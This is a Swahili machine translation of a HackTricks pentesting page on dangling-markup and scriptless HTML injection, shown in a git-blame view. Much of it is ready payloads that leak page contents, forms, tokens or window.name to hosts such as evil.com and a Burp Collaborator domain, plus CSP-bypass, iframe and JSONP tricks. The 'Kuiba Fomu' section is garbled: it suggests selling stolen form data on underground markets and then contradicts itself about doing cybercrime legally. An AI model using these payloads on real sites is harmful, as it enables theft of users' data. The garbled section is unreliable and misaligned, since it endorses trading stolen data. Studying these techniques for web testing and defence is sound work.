hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

269 lines
15 KiB
Markdown
Raw Normal View History

2024-02-11 02:13:58 +00:00
# Dangling Markup - Uingizaji wa HTML bila skripti
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-02 18:28:27 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Muhtasari
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Tekniki hii inaweza kutumika kuondoa habari kutoka kwa mtumiaji wakati **uingizaji wa HTML unapopatikana**. Hii ni muhimu sana ikiwa **hauoni njia yoyote ya kudukua** [**XSS**](../xss-cross-site-scripting/) lakini unaweza **kuingiza vitambulisho vya HTML**.\
Pia ni muhimu ikiwa siri fulani imehifadhiwa kwa wazi katika HTML na unataka kuiondoa kutoka kwa mteja, au ikiwa unataka kuongoza utekelezaji wa skripti fulani.
2024-02-11 02:13:58 +00:00
Tekniki kadhaa zilizojadiliwa hapa zinaweza kutumika kukiuka [**Sera ya Usalama wa Yaliyomo**](../content-security-policy-csp-bypass/) kwa kuondoa habari kwa njia isiyotarajiwa (vitambulisho vya html, CSS, http-meta tags, fomu, msingi...).
2024-02-11 02:13:58 +00:00
## Matumizi Makuu
2024-02-11 02:13:58 +00:00
### Kuiba siri zilizo wazi
2024-02-11 02:13:58 +00:00
Ikiwa unaingiza `<img src='http://evil.com/log.cgi?` wakati ukurasa unapakia, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyochomwa na alama ya nukta inayofuata ndani ya msimbo. Ikiwa siri ipo kwa njia fulani katika kipande hicho, utaiba iyo (unaweza kufanya kitu kama hicho kwa kutumia alama ya nukta mbili, angalia ni ipi inayoweza kuwa ya kuvutia zaidi kutumia).
2024-02-11 02:13:58 +00:00
Ikiwa vitambulisho vya `img` vimezuiwa (kwa sababu ya CSP, kwa mfano) unaweza pia kutumia `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
2024-02-05 20:00:40 +00:00
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
2024-02-11 02:13:58 +00:00
Tafadhali kumbuka kwamba **Chrome inazuia URL za HTTP** zenye "<" au "\n", hivyo unaweza jaribu njia nyingine za itifaki kama vile "ftp".
2024-02-11 02:13:58 +00:00
Pia unaweza kutumia udanganyifu wa CSS `@import` (utatuma msimbo wote hadi utakapopata ";")
2024-02-05 20:00:40 +00:00
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
2024-02-11 02:13:58 +00:00
Unaweza pia kutumia **`<table`**:
2024-02-05 20:00:40 +00:00
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
2024-02-11 02:13:58 +00:00
Unaweza pia kuweka lebo ya `<base`. Taarifa zote zitatumiwa mpaka nukuu ifungwe lakini inahitaji ushirikiano wa mtumiaji (mtumiaji lazima bonyeze kiungo fulani, kwa sababu lebo ya msingi itakuwa imebadilisha kikoa kinacholengwa na kiungo):
2024-02-05 20:00:40 +00:00
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
2024-02-11 02:13:58 +00:00
### Kuiba Fomu
Kuna njia moja ya kudanganya tovuti na kuiba fomu zilizojazwa na watumiaji. Hii inajulikana kama "dangling markup" au "HTML scriptless injection". Kwa kufanya hivyo, unaweza kupata habari muhimu kama majina, anwani za barua pepe, nambari za simu, na habari nyingine kutoka kwa fomu hizo.
Kwa kuanza, unahitaji kuchunguza tovuti na kutafuta fomu ambazo unataka kuiba. Unaweza kutumia zana za kuchunguza wavuti kama "Burp Suite" au "OWASP ZAP" kufanya hivyo.
2024-02-11 02:13:58 +00:00
Baada ya kuchunguza fomu, unahitaji kubaini ikiwa kuna udhaifu wa "dangling markup" uliopo. Udhaifu huu unaweza kuwa kwa sababu ya kutokuwa na usalama katika nambari ya tovuti au kutokuwepo kwa ukaguzi wa kutosha wa data iliyowasilishwa na mtumiaji.
2024-02-11 02:13:58 +00:00
Ikiwa unapata udhaifu wa "dangling markup", unaweza kuingiza msimbo wa JavaScript katika fomu ili kuiba habari. Kwa mfano, unaweza kuongeza msimbo wa JavaScript ambao utatumwa kwa seva yako ya kudanganya na kurekodi habari zote zilizojazwa katika fomu.
Baada ya kuiba habari, unaweza kuzitumia kwa njia mbalimbali, kama vile kuuza habari hizo kwenye soko la chini ya ardhi au kuzitumia kwa madhumuni mengine ya uhalifu wa mtandao.
Ni muhimu kukumbuka kuwa kufanya hivyo ni kinyume cha sheria na inaweza kusababisha mashtaka ya jinai. Kwa hivyo, ni muhimu kufanya shughuli za uhalifu wa mtandao kwa njia halali na kwa idhini ya mmiliki wa tovuti.
2024-02-05 20:00:40 +00:00
```html
<base href='http://evil.com/'>
```
2024-02-11 02:13:58 +00:00
Kisha, fomu ambazo hutuma data kwa njia (kama `<form action='update_profile.php'>`) zitatuma data kwa kikoa cha mbaya.
2024-02-11 02:13:58 +00:00
### Kuiba fomu 2
2024-02-11 02:13:58 +00:00
Weka kichwa cha fomu: `<form action='http://evil.com/log_steal'>` hii itafuta kichwa cha fomu inayofuata na data yote kutoka kwenye fomu itatumwa kwa mshambuliaji.
2024-02-11 02:13:58 +00:00
### Kuiba fomu 3
2024-02-11 02:13:58 +00:00
Kitufe kinaweza kubadilisha URL ambapo habari ya fomu itatumwa kwa kutumia sifa "formaction":
2024-02-05 20:00:40 +00:00
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
2024-02-11 02:13:58 +00:00
Mshambuliaji anaweza kutumia hii kuiba taarifa.
2024-02-11 02:13:58 +00:00
### Kuiba siri wazi za maandishi 2
2024-02-11 02:13:58 +00:00
Kwa kutumia mbinu iliyotajwa hapo awali ya kuiba fomu (kwa kuingiza kichwa kipya cha fomu), unaweza kisha kuingiza uga mpya wa kuingiza:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' name='review_body' value="
```
2024-02-11 02:13:58 +00:00
Na uga huu wa kuingiza utaleta yaliyomo kati ya alama zake za nukta mbili na nukta mbili inayofuata katika HTML. Shambulio hili linachanganya "_**Kuiba siri za maandishi wazi**_" na "_**Kuiba fomu2**_".
2024-02-11 02:13:58 +00:00
Unaweza kufanya kitu kama hicho kwa kuingiza fomu na lebo ya `<option>`. Data yote hadi `<option>` iliyofungwa inapopatikana itatumwa:
2024-02-05 20:00:40 +00:00
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
2024-02-11 02:13:58 +00:00
### Uingizaji wa Parameta ya Fomu
2024-02-11 02:13:58 +00:00
Unaweza kubadilisha njia ya fomu na kuingiza thamani mpya ili hatua isiyotarajiwa ifanyike:
2024-02-05 20:00:40 +00:00
```html
<form action='/change_settings.php'>
2024-02-11 02:13:58 +00:00
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
2024-02-11 02:13:58 +00:00
### Kuiba siri wazi ya maandishi kupitia noscript
2024-02-11 02:13:58 +00:00
`<noscript></noscript>` Ni lebo ambayo yaliyomo yake yataeleweka ikiwa kivinjari hakisaidii javascript (unaweza kuwezesha / kulemaza Javascript kwenye Chrome katika [chrome://settings/content/javascript](chrome://settings/content/javascript)).
2024-02-11 02:13:58 +00:00
Njia ya kuchukua yaliyomo ya ukurasa wa wavuti kutoka sehemu ya kuingiza hadi chini hadi tovuti inayodhibitiwa na mshambuliaji itakuwa kwa kuingiza hii:
2024-02-05 20:00:40 +00:00
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
2024-02-11 02:13:58 +00:00
### Kupitisha CSP kwa ushirikiano wa mtumiaji
2024-02-11 02:13:58 +00:00
Kutoka kwenye [utafiti wa portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) unaweza kujifunza kwamba hata katika mazingira yaliyopewa **kizuizi kikali zaidi cha CSP**, bado unaweza **kutoa data** na baadhi ya **ushirikiano wa mtumiaji**. Katika tukio hili tutatumia mzigo wa:
2024-02-05 20:00:40 +00:00
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
2024-02-11 02:13:58 +00:00
Tafadhali kumbuka kuwa utamwomba **mwathiriwa** bonyeza kiungo ambacho kitampeleka kwenye **payload** inayodhibitiwa na wewe. Pia kumbuka kuwa sifa ya **`target`** ndani ya lebo ya **`base`** italeta **maudhui ya HTML** hadi alama ya nukta moja inayofuata. Hii itafanya **thamani** ya **`window.name`** ikiwa kiungo kimebonyezwa kuwa **maudhui yote ya HTML** hayo. Kwa hivyo, kwa kuwa wewe **udhibiti ukurasa** ambapo mwathiriwa anapata kwa kubonyeza kiungo, unaweza kupata ufikiaji wa **`window.name`** na **kuvuja** data hiyo:
2024-02-05 20:00:40 +00:00
```html
<script>
if(window.name) {
2024-02-11 02:13:58 +00:00
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
2024-02-11 02:13:58 +00:00
### Mchakato wa kudanganya wa hati 1 - Shambulio la nafasi ya HTML
2024-02-11 02:13:58 +00:00
Ingiza lebo mpya na kitambulisho ndani ya HTML ambayo itaandika juu ya ile inayofuata na na thamani ambayo itaathiri mchakato wa hati. Katika mfano huu, unachagua na nani habari itashirikiwa:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
2024-02-11 02:13:58 +00:00
...
request.share_with = document.getElementById('share_with').value;
...
}
```
2024-02-11 02:13:58 +00:00
### Kupotosha mtiririko wa hati 2 - Shambulio la jina la hati
2024-02-11 02:13:58 +00:00
Unda mizani ndani ya jina la javascript kwa kuingiza vitambulisho vya HTML. Kisha, mizani hii itaathiri mtiririko wa programu:
2024-02-05 20:00:40 +00:00
```html
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
2024-02-11 02:13:58 +00:00
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
2024-02-11 02:13:58 +00:00
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
2024-02-11 02:13:58 +00:00
### Matumizi Mabaya ya JSONP
2024-02-11 02:13:58 +00:00
Ikiwa utapata kiolesura cha JSONP, unaweza kuweza kuita kazi yoyote na data yoyote:
2024-02-05 20:00:40 +00:00
```html
<script src='/editor/sharing.js'>: Legitimate script
2024-02-11 02:13:58 +00:00
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
2024-02-11 02:13:58 +00:00
set_sharing({ ... })
```
2024-02-11 02:13:58 +00:00
Au unaweza hata kujaribu kutekeleza baadhi ya javascript:
2024-02-05 20:00:40 +00:00
```html
<script src='/search?q=a&call=alert(1)'></script>
```
2024-02-11 02:13:58 +00:00
### Matumizi ya Iframe
2024-02-11 02:13:58 +00:00
Hati ya mtoto ina uwezo wa kuona na kurekebisha mali ya `location` ya mzazi wake, hata katika hali za asili. Hii inaruhusu kuingiza hati ndani ya **iframe** ambayo inaweza kuhamisha mteja kwenye ukurasa usiojulikana:
2024-02-05 20:00:40 +00:00
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
2024-02-11 02:13:58 +00:00
Hii inaweza kuzuiwa kwa kutumia kitu kama: `sandbox=' allow-scripts allow-top-navigation'`
2024-02-11 02:13:58 +00:00
Pia, iframe inaweza kutumiwa kuvuja taarifa nyeti kutoka kwenye ukurasa tofauti **kwa kutumia sifa ya jina ya iframe**. Hii ni kwa sababu unaweza kuunda iframe ambayo inajifunga yenyewe kwa kutumia uingizaji wa HTML ambao unafanya **taarifa nyeti ionekane ndani ya sifa ya jina ya iframe** na kisha kufikia jina hilo kutoka kwenye iframe ya awali na kuvuja taarifa hiyo.
2022-07-04 10:37:21 +00:00
```html
<script>
2024-02-11 02:13:58 +00:00
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
2022-07-04 10:37:21 +00:00
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
2024-02-11 02:13:58 +00:00
Kwa habari zaidi angalia [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
2024-02-11 02:13:58 +00:00
### \<meta utapeli
2022-07-04 10:37:21 +00:00
2024-02-11 02:13:58 +00:00
Unaweza kutumia **`meta http-equiv`** kufanya **vitendo kadhaa** kama kuweka Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` au kufanya uhamisho (baada ya sekunde 5 katika kesi hii): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
2024-02-11 02:13:58 +00:00
Hii inaweza **kuepukwa** na **CSP** kuhusu **http-equiv** (`Content-Security-Policy: default-src 'self';`, au `Content-Security-Policy: http-equiv 'self';`)
2024-02-11 02:13:58 +00:00
### Tag mpya ya \<portal HTML
2024-02-11 02:13:58 +00:00
Unaweza kupata utafiti mzuri sana juu ya udhaifu unaoweza kudukuliwa wa tag ya \<portal [hapa](https://research.securitum.com/security-analysis-of-portal-element/).\
Wakati wa kuandika hii, unahitaji kuwezesha tag ya portal kwenye Chrome katika `chrome://flags/#enable-portals` au haitafanya kazi.
2024-02-05 20:00:40 +00:00
```html
<portal src='https://attacker-server?
```
2024-02-11 02:13:58 +00:00
### Vujisho vya HTML
2024-02-11 02:13:58 +00:00
Sio njia zote za kuvuja uunganisho katika HTML zitakuwa na manufaa kwa Dangling Markup, lakini mara nyingine inaweza kusaidia. Angalia hapa: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
2024-02-11 02:13:58 +00:00
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kwa upande mmoja, udhaifu huu huruhusu **kuingiza HTML** ( lakini sio JS) katika ukurasa wa **asili sawa** na ule tutakao shambulia. Kwa upande mwingine, hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, lakini **ukurasa mwingine**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Search/XS-Leaks
2022-04-05 22:03:49 +00:00
2024-02-11 02:13:58 +00:00
XS-Search inalenga katika **kuvuja taarifa za asili tofauti** kwa kutumia **mashambulizi ya njia ya upande**. Kwa hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia uingizaji wa vitambulisho vya HTML (na bila utekelezaji wa JS), kama vile [**CSS Injection**](../xs-search.md#css-injection) au [**Lazy Load Images**](../xs-search.md#image-lazy-loading)**.**
2022-04-05 22:03:49 +00:00
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
2024-02-11 02:13:58 +00:00
## Orodha ya Uchunguzi wa Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2024-02-05 20:00:40 +00:00
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-02 18:28:27 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>